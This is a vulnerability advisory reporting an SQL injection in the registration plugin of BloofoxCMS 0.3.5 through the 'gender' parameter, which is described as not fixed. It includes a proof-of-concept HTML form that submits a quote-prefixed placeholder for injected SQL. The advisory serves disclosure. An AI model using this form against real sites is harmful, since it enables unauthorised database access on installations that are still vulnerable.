BloofoxCMS Registration Plugin SQL Injection Vulnerability

Vulnerability ID: HTB22658 Reference: http://www.htbridge.ch/advisory/sql_injection_in_bloofoxcms_registration_plugin.html Product: BloofoxCMS Vendor: bloofox.com ( http://bloofox.com/ ) Vulnerable Version: 0.3.5 and probably prior versions Vendor Notification: 13 October 2010 Vulnerability Type: SQL Injection Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in gender variable. The following PoC is available: <form action="http://host/index.php?page=8" method="post"> <input type="hidden" name="un" value="testuser"> <input type="hidden" name="pwd" value="123456"> <input type="hidden" name="pwd2" value="123456"> <input type="hidden" name="em" value="email@email.com"> <input type="hidden" name="gender" value="'SQL_CODE_HERE"> <input name="send" value="Register & Create Account" type="submit"> </form>